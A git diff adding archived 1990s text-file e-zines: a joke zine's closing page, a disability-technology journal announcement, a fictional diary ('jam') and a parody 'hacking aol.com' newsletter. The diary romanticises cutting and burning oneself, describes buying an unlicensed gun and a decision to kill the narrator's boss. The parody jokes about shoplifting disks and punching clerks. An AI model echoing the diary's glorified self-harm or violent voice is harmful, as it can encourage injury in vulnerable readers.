+ + Well, we hope that you enjoyed most, if not all the stories in +the magazine. Knowing that you enjoyed the issue, gives us some +relief. For you see, during the last few weeks, the blood has popped +out of our foreheads while compiling this thing together. If we +hadn't finished the issue by yesterday, we'd all be mindless lunatics +stuck in an asylum somewhere by now. + + If this thing gets off the ground, who knows what might just +happen? Perhaps, our very own set of three letter initials to +symbolize our existence as an ultraelite super underground magazine? +We hope not. + + In any case, we'll see if we can get some distribution sites +together. And, if luck has it, a title screen and a loader from one +of the 19,000,003 ANSi groups out there! + + Wish us luck. (grin) + + ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ + ³ABOUT THE CREATORS³ + ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + +PD: + + Paragon Dude, the highly acclaimed eccentric, is a carefully +balanced blend of Dave Barry, Mike Royko, Erma Bombeck, Micheal J. +Fox, and Arnold Schwarzenegger. Combining stunning wit with a +culinary flair worthy even of most French people, he can turn +virtually any meal into an event you're not likely to forget even +under therapy. And he plays a wicked sousaphone. + + Most of all, he's just this normal (not) type'o'guy who +occasionally gets semi-creative urges to write. Like Barry sez, it's +100% fact-free... oops, with the new FDA regulations, make that 99%. + + - Paragon Dude's Other Personality, Edud Nogarap + +LS: + + Due to numerous appearances on "America's Most Wanted" and +several outstanding federal warrants for his arrest, Lord +Shadowkeeper has refused comment. + + ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + +Staff of the Lobotomist's Digest - + +Paragon Dude - Head Writer/Pick-Up Artist Extrodinare +Lord Shadowkeeper - Publisher/Lambada Master +Richard Nixon - Inspiration/Ex-President +Ariakus - Head Critic/Subway Hitman +"Uncle" Ted Kennedy - Idol/U.S. Senator and Party Animal +Skatemaster - Critic/Rider of the Sacred Board +The Hill People - Distributors/Hit Squad +Joe Bob Briggs - Guest Writer/Evil Cowboy + +Special Thanks to - Agent Shadow for all he has done + +Boards to Call When Bored: + +Smurf Village - 215-873-7287 - "Dead Smurf" +Ultraelite Superpirate - 301-881-2344 - "k00l kOdz kRaD Pir8 KiD" +The Kennedy Compound - 508-221-2734 - "Uncle Ted and Willy" +Sally's Pleasure Hut - 305-221-1293 - "Boom-Boom Sally" +Purple Palace - 615-972-5231 - "Prince" +Trumptown - 212-556-7164 - "The Donald" * + +* - Probably Down for Good + +### +  \ No newline at end of file diff --git a/textfiles.com/magazines/ONESHOTS/itd-1.1 b/textfiles.com/magazines/ONESHOTS/itd-1.1 new file mode 100644 index 00000000..461f8eaf --- /dev/null +++ b/textfiles.com/magazines/ONESHOTS/itd-1.1 @@ -0,0 +1,261 @@ +From nrcgsh@ultb.isc.rit.edu Sun Jan 23 18:50:59 EST 1994 +Article: 433 of alt.etext +Path: news.cic.net!destroyer!sol.ctr.columbia.edu!howland.reston.ans.net!agate!headwall.Stanford.EDU!rutgers!rochester!rit!isc-newsserver!ultb!nrcgsh +From: nrcgsh@ultb.isc.rit.edu (N.R. Coombs) +Newsgroups: alt.etext +Subject: First Issue of Info Tech and Disabilities +Message-ID: <1994Jan18.213213.10149@ultb.isc.rit.edu> +Date: 18 Jan 94 21:32:13 GMT +Sender: news@ultb.isc.rit.edu (USENET News System) +Organization: Rochester Institute of Technology +Lines: 246 +Nntp-Posting-Host: ultb-gw.isc.rit.edu + + + + Announcing the Availability of a New Electronic Journal: + INFORMATION TECHNOLOGY AND DISABILITIES + +Below is information about the journal, including the table of +contents for Volume I, no. 1, as well as information on editorial +staff and explicit instructions for subscribing or using the +journal via gopher. + + IT&D V1N1 Table of Contents 230 lines + ********************************************* + + INFORMATION TECHNOLOGY AND DISABILITIES + + ISSN 1073-5127 + + Volume I, No. 1 January, 1994 + + ********************************************* + ARTICLES + ********************************************* + + INTRODUCING _INFORMATION TECHNOLOGY AND DISABILITIES_ + (itdV01N1 mcnulty) + + Tom McNulty, Editor + + ********************************************* + + BUILDING AN ACCESSIBLE CD-ROM REFERENCE STATION + (itdV01N1 wyatt) + + Rochelle Wyatt and Charles Hamilton + +ABSTRACT: This case study describes the development of an +accessible CD-ROM workstation at the Washington Library for the +Blind and Physically Handicapped. Included are descriptions of +hardware and software, as well as selected CD-ROM reference +sources. Information is provided on compatibility of individual +CD-ROM products with adaptive technology hardware and software. + + ********************************************* + + DEVELOPMENT OF AN ACCESSIBLE USER INTERFACE FOR PEOPLE WHO +ARE BLIND OR VISION IMPAIRED AS PART OF THE RE-COMPUTERISATION + OF ROYAL BLIND SOCIETY (AUSTRALIA) + (itdV01N1 noonan) + + Tim Noonan + +ABSTRACT: In 1991, Royal Blind Society (Australia) and Deen +Systems, a Sydney-based software development company, undertook a +major overhaul of RBS information systems intended to enhance +access to RBS client services as well as employment opportunities +for blind and vision impaired RBS staff. This case study outlines +the steps taken and principles followed in the development of a +computer user interface intended for efficient use by blind and +vision impaired individuals. + + ********************************************* + + THE ELECTRONIC REHABILITATION RESOURCE CENTER AT + ST. JOHN'S UNIVERSITY (NEW YORK) + (itdV01N1 holtzman) + + Bob Zenhausern and Mike Holtzman + +ABSTRACT: St. John's University in Jamaica, New York, is host to +a number of disability-related network information sources and +services. This article identifies and describes key sources and +services, including Bitnet listservs, or discussion groups, the +UNIBASE system which includes real-time online conferencing, and +other valuable educational and rehabilitation-related network +information sources. + + ********************************************* + + THE CLEARINGHOUSE ON COMPUTER ACCOMMODATION (COCA) + (itdV01N1 brummel) + + Susan Brummel and Doug Wakefield + +ABSTRACT: Since 1985, COCA has been pioneering information +policies and computer support practices that benefit Federal +employees with disabilities and members of the public with +disabilities. Today, COCA provides a variety of services to +people within and outside Government employment. The ultimate +goal of all COCA's activities is to advance equitable information +environments consistent with non-discriminatory employment and +service delivery goals. + + ********************************************* + + DEPARTMENTS + + ********************************************* + + JOB ACCOMMODATIONS + (itdV01N1 jobs) + Editor: Joe Lazzaro + lazzaro@bix.com + + K - 12 EDUCATION + (itdV01N1 k12) + Editor: Anne Pemberton + apembert@vdoe386.vak12ed.edu + + LIBRARIES + (itdV01N1 library) + Editor: Ann Neville + neville@emx.cc.utexas.edu + + ONLINE INFORMATION AND NETWORKING + (itdV01N1 online) + Editor: Steve Noble + slnobl01@ulkyvm.louisville.edu + + CAMPUS COMPUTING + (itdV01N1 campus) + Editor: Daniel Hilton-Chalfen, Ph.D., + hilton-chalfen@mic.ucla.edu + + ********************************************* + +Copyright (c 1994) by (IT&D) Information Technology and +Disabilities. Authors of individual articles retain all +copyrights to said articles, and their permission is needed to +reproduce any individual article. The rights to the journal as a +collection belong to (IT&D) Information Technology and +Disabilities. IT&D encourages any and all electronic +distribution of the journal and permission for such copying is +expressly permitted here so long as it bears no charge beyond +possible handling fees. To reproduce the journal in +non-electronic format requires permission of its board of +directors. To do this, contact the editor. + + +EDITOR-IN-CHIEF + +Tom McNulty, New York University +(mcnulty@acfcluster.nyu.edu) + +EDITORS + +Dick Banks, University of Wisconsin, Stout +Carmela Castorina, UCLA +Daniel Hilton-Chalfen, PhD, UCLA +Norman Coombs, PhD, Rochester Institute of Technology +Joe Lazzaro, Massachusetts Commission for the Blind +Ann Neville, University of Texas, Austin +Steve Noble, Recording for the Blind +Anne L. Pemberton, Nottoway High School, Nottoway, VA +Bob Zenhausern, PhD, St. John's University + +EDITORIAL BOARD + +Dick Banks, University of Wisconsin, Stout +Carmela Castorina, UCLA +Danny Hilton-Chalfen, PhD, UCLA +Norman Coombs, PhD, Rochester Institute of Technology +Alistair D. N. Edwards, PhD, University of York, UK +Joe Lazzaro, Massachusetts Commission for the Blind +Ann Neville, University of Texas, Austin +Steve Noble, Recording for the Blind +Anne L. Pemberton, Nottoway High School, Nottoway, VA +Lawrence A. Scadden, PhD, National Science Foundation +Bob Zenhausern, PhD, St. John's University + + ********************************************* + + ABOUT EASI (EQUAL ACCESS TO SOFTWARE AND INFORMATION) + +Since its founding in 1988 under the EDUCOM umbrella, EASI has +worked to increase access to information technology by persons +with disabilities. Volunteers from EASI have been instrumental +in the establishment of _Information Technology and Disabilities_ +as still another step in this process. Our mission has been to +serve as a resource primarily to the education community by +providing information and guidance in the area of access to +information technologies. We seek to spread this information to +schools, colleges, universities and into the workplace. EASI +makes extensive use of the internet to disseminate this +information, including two discussion lists: +EASI@SJUVM.STJOHNS.EDU (a general discussion on computer access) +and AXSLIB-L@SJUVM.STJOHNS.EDU (a discussion on library access +issues). To join either list, send a "subscribe" command to +LISTSERV@SJUVM.STJOHNS.EDU including the name of the discussion +you want to join plus your own first and last name. EASI also +maintains several items on the St. Johns gopher under the menu +heading "Disability and Rehabilitation Resources". + + For further information, contact the EASI Chair: + Norman Coombs, Ph.D. + NRCGSH@RITVAX.ISC.RIT.EDU + + or the EASI office: + EASI's phone: (310) 640-3193 + EASI's e-mail: EASI@EDUCOM.EDU + + ********************************************* + + +Individual _ITD_ articles and departments are archived on the St. +John's University gopher. To access the journal via gopher, +locate the St. John's University (New York) gopher. Select +"Disability and Rehabilitation Resources," and from the next +menu, select "EASI: Equal Access to Software and Information." +_Information Technology and Disabilities_ is an item on the EASI +menu. + + To retrieve individual articles and departments by e-mail from +the listserv: + address an e-mail message to: + listserv@sjuvm.stjohns.edu + leave subject line blank + +the message text should include the word "get" followed by the +two word file name; for example: + + get itdV01N1 contents + +Each article and department has a unique filename; that name is +listed below the article or department in parentheses. Do NOT +include the parentheses with the filename when sending the "get" +command to listserv. + +NOTE: ONLY ONE ITEM MAY BE RETRIEVED PER MESSAGE; DO NOT SEND + MULTIPLE GET COMMANDS IN A SINGLE E-MAIL MESSAGE TO LISTSERV. + +To receive the journal regularly, send e-mail to +listserv@sjuvm.stjohns.edu with no subject and either of the +following lines OF text: + +subscribe itd-toc "Firstname Lastname" +subscribe idt-jnl "Firstname Lastname" + +(ITD-JNL is the entire journal in one e-mail message while +ITD-TOC sends the contents with information on how to obtain +specific articles.) + +To get a copy of the guidelines for authors, send e-mail to +listserv@sjuvm.stjohns.edu with no subject and the following +single line of text: + +get author guidelin + + diff --git a/textfiles.com/magazines/ONESHOTS/jam.001 b/textfiles.com/magazines/ONESHOTS/jam.001 new file mode 100644 index 00000000..41b40995 --- /dev/null +++ b/textfiles.com/magazines/ONESHOTS/jam.001 @@ -0,0 +1,183 @@ ++---------------------------------------------------------------------------+ +| just another mag + just another mag + just another mag + just another mag | ++---------------------------------------------------------------------------+ + - jam 1 - + - one week long - + - by pip the angry youth - ++---------------------------------------------------------------------------+ +| just another mag + just another mag + just another mag + just another mag | ++---------------------------------------------------------------------------+ + +thursday, july 25th + +i thought that starting up a journal would be a good way for me to get +my thoughts out of my head, so here it is... + +i woke up late for work today (again), but they changed my schedule so i +was actually an hour early... i sat around and waited to clock in... i +went into the bathroom and took out my box cutter and began to finish +the picture of the sun that i started on my leg... i pushed too hard in +one spot and started to bleed a bit, but i put some toilet paper on it +to stop it... i think someone was watching me... someone's always +watching me... + +i think there's cameras hidden in my house watching me all the time... i +don't know who put them there, or why... but i think that they're +there... + +nothing much happened today at work, some guy at the deli that i go to +cut his finger on the meat slicer... looked pretty bad, it wouldn't stop +bleeding... + +on the ride home tonight i saw this asshole giving the hi-beams to a little +old lady in a tiny mazda hatchback... i thought about how much of an +asshole he was being... i got behind him and put on my beams for about 2 +miles... he switched lanes like 10 times, but he couldn't get me off his +tail... i got off at my exit at the very last second so he couldn't +follow me... + +i saw a dead cat on the side of the road about a block from my house... +i pulled over to inspect it, played with its severed head for a bit... +kicked it around... i thought it may come in handy so i threw it into my +trunk... (i put my arm & hammer deoderizer stuff next to it to keep it +from stinking up my trunk)... then i got into my house, took a leak, and +started to write this... + +friday, july 26th + +got my eyebrow pierced today... it didn't hurt as much as i thought it +would... it's kinda cool... i like to stare at it in the mirror when i'm +bored... i'm bored most of the time... so i look at it most of the +time... it has a weird color to it... like one of those metallic rocks +you see in the mall for like a dollar... + +i also met a girl today... her name is summer... she's pretty cool, she +rung me up at the supermarket... the kinda smiled at me when i pulled +out my money to pay... i had a bunch of papers and stuff that i had +collected from work, so i had to put it on the counter to get at my +money... she thought that the godzilla traders card i had was cute... +maybe she'll give me her number if i ask for it... i should get up the +guts... she has such a pretty name, summer... + +i took a look at the cat this morning... it looked alright, but by the +end of the day it was stinking pretty badly so i had to take it out of +my car... i threw it into a ziploc bag and tossed it into the freezer... +it's a catsicle by now i bet... i wonder if it still has thoughts going +through its body... i now that there are no neurons firing right now, +but i wonder if the soul is still around and experiencing what the body +feels... i wonder if it knows that the body is cold... i wonder if it +knows that it's even dead yet... that's freaky... imagine not knowing if +you're dead or not?... + +i finished my sun carving today... it didn't turn out exactly how i +planed it would, but it turned out pretty good... i wonder if summer +would like it... + +saturday, july 27th + +i hate my boss... i got into two fights with him today... both over +stupid things... he thinks that my eyebrow piercing is a little too +extreme for the store... fuck him... it's my body, right?... i wonder +what he'd say if i showed him my sun... he's freak... hahaha... + +he also got on my case because i came to work a little drunk... not +really drunk... i had like 4 beers on my way to work (still have the +cans in the car)... he said i smelled like a brewery... + +summer didn't work today... that kinda pissed me off... it's the only +good reason for me to even go to the market anymore... why did she have +to take today off? i was going to at least TRY to get her number... +maybe see what she's doing after work... i'm so spineless i bet i +wouldn't have been able to do anything... + +i want to quit my job... i hate my job and my life... i need a change... + +sunday, july 28th + +i could have sworn that some guy was tailing me all the way to work, he +was wearing a pair of bluejean shorts and a black t-shirt... every time +that i turned around i saw him... or at least i thought i saw him dart +around a corner to avoid my seeing him... is he the one who's been +spying on me?... is he the one who put the cameras in that i know are +there?... you can't trust anyone anymore... + +since i got out of work early today i decided to go shopping for +supplies... i did the typical food stuff shopping, picked up a +cameoflaged shirt, black shoe polish, and a really cool knife from the +cutlery store while walking around in the mall... i started to think +about the man in the black t-shirt and started thinking about having to +protect myself... i went to this guy i know who sells used guns and +ammunition for them on the next block down from me... he had a .22 +pistol and about 40 rounds for it... he let me take it for 50 bucks... +i thought it was an excillent investment... i wondered why it was so +cheap, but with a guy like him it's best not to ask questions i guess... + +the gun holds 6 rounds at a time... five in the handle and one in the +chamber... i keep it inside of my boot all the time now... you never +know when you'll need to put a slug into someone... + +monday, july 29th + +i didn't see the person with a black shirt today... maybe he's calling +it off for a bit because i saw him... HA!... i knew it... + +today was my first day off from work in a long time... i took advantage +of this and pretty much did nothing all day... i played with the shoe +polish a bit, smeared it all over my face just so i could get the +contours right in case the need for it arised... it was alot easier than +i thought it was, took me about 2 minutes to get it to completely cover +my face... i think i look pretty cool with it on... probably pretty hard +to see when i'm in the dark... + +i did alot of thinking today about work... i can't stand being treated +like a piece of shit on some guy's shoe just becaue i make 5.05 an +hour... fuck that... (i should watch my language)... i should stand up +for myself once in a while i guess... but what can i do?... i'm almost +the most meek person that i've ever seen... i've got to stop being so +weak, i've got to be strong otherwise i'll be trampled... i don't want +to be the underdog that everyone hits when they get angry... from now on +i'm going to make myself tough... + +tuesday, july 30th + +i shaved all my hair off for the hell of it... i think it's more +functional this way... i don't have to comb it, i don't have to use much +shampoo or conditioner in it anymore... it feels like a puppy... i also +tried something new... i take a fork and stick it into the flame on my +stove... when it starts to get really hot i take it off and lay it down +on my chest... the hair gets singed a bit, and the skin makes a cool +crackling sound... but the pain is so beautiful... i want to try it on +other parts of my body, but i'm scared... i can feel the pain making me +stronger, more resilient to the blows that society tosses my way... i +also made a second sun on my other leg, but this one was all in one +shot... it hurt really bad, but barely bled... maybe one day i won't be +able to feel anything... what could i do then?... + +i've decided to kill my boss today... he started to yell at me about my +hair so i turned around and walked out the front door... he said +something about writing me up... i guess we'll find out if the pen is +truely mightier than the sword soon enough... i wonder if he realizes +how little power he truely has over me... i guess my walking out +constitutes quitting the job... oh well, i'll give myself one day to +train myself so i'm ready to do what needs to be done... i'm really +looking forward to thursday now... i had nothing to look forward to +anymore... i asked summer for her number... she refused to give it to +me... what a fucking bitch... can't she see that i'm a nice guy? can't +she see that i'm really pure inside, that i want to do the right thing? +why is she so BLIND... i want to care for her... i want to provide for +her... i want to love her... but she won't give it to me... why? + +wendsday, july 31st + +i'm very tired... i did so much work today, making myself into steel... +i can barely type this out... i'm going to bed... + +friday, august 2nd + + ++---------------------------------------------------------------------------+ +| just another mag + just another mag + just another mag + just another mag | ++---------------------------------------------------------------------------+ + +email: duncan@digital.csionline.com + duncan@alfheim.csionline.com diff --git a/textfiles.com/magazines/ONESHOTS/k0de0002.txt b/textfiles.com/magazines/ONESHOTS/k0de0002.txt new file mode 100644 index 00000000..ca198586 --- /dev/null +++ b/textfiles.com/magazines/ONESHOTS/k0de0002.txt @@ -0,0 +1,135 @@ + + -= K0DE =- + -= K0DE Newsletter #0002 =- + -= K0DE =- + + K0NTeNTZ + + H4QiNG aol.com -=- By LSD DooD + + Ex-pert Carding Tips -=- By TB0R + + - Gr33TZ t0 - + TB0R , Prodigy, alt.sex.fetish.safety-pins, + Egghead S0phtWaReZ, BL00B0xeR , LoD + + + -= Hacking aol.com =- + -= By LSD DooD =- + + In the past, many people have found ways to get onto the inphormation +superhighway. Unfortunately a lot of them don't work. But now, the d00dz +at K0DE bring you a phoolproof way to jack into the net. aol.com! You may +have seen those disks that come in the front of computer magazines. Well, +you probably just passed them by and didnt even wonder what they were. Well +do i have some neWs phor you! Some of those disks are very, very +eleet. They are secret, encrypted internet disks from aol.com. Now that +you have this vital inph0rmation, you are ready to begin your hacking. First +you need to phind a store that carries computer magazines. This may be very +difficult, but if you are experienced enough, you can probably manage it. +Go to the store and go to the magazine section. All the while, make sure no +one is watching you, as store clerx can spot real elytness a mile away. Now, +look up and down the aisles to make sure no one is looking. If someone is +watching you, pretend to be reading a magazine such as Guns N' Ammo or TeeN. +This draws attention away from you. If no one is looking, then pick up a +magazine with a disk in it and walk to another section of the store. The +section with pantyhose in it usually works for me. Now, again make sure no +one is looking, and carefully open the plastic wrapping around the magazine. +Remove the disk and put it in your pocket. Take off the plastic wrapping +completely and stuff it somewhere. Up til now, it has been easy, but this +is where the skill and cunning really come in. You need to look through the +magazine for a part where there is a login and password for the disk. This +is usually attached to the disk. Find it and remove it also. Now go back to +the magazine section and replace the magazine. If anyone asks you where the +plastic wrapping went, punch them as hard as you can and run like hell. This +is an early warning sign that the admins (managers) at the store are onto +you. GET OUT IMMEDIATELY. Now go back home. *Note: You must have a Windows +3.1+ installed on your computer for this hack to work* - Put the disk in the +drive and type A: at the dos prompt *Important note - The disks are +3.5" disks. if your 3.5" drive is the B Drive, you should type B: +instead. Also-Do NOT attempt to put a 3.5" disk into a 5.25" disc drive. +This may ruin your chances of success* Now you should have a prompt that +looks like A:\> -OR- B:\> . Type 'install' and it will begin the +decryption proccess. When it is completely decrypted, enter windows. You +will notice an 'America Online' icon. This is a sign that the decryption +was a success. You now only have one more obstacle to overcome: the login. +Select the 'america online' icon and the modem should dial. When you connect, +you will be asked for a login. There is no reason for alarm yet, this is just +a formality. Enter the login printed on your piece of paper. You will then +be asked for your password. QUICKLY enter the password. If there seems to +be a problem, immediately turn off your computer and leave the house. Do not +return for several days, unless you are very risky. If everything went +smoothly, you now have FULL iNTeRNeT access. FULL access, multi-user chat +and everything.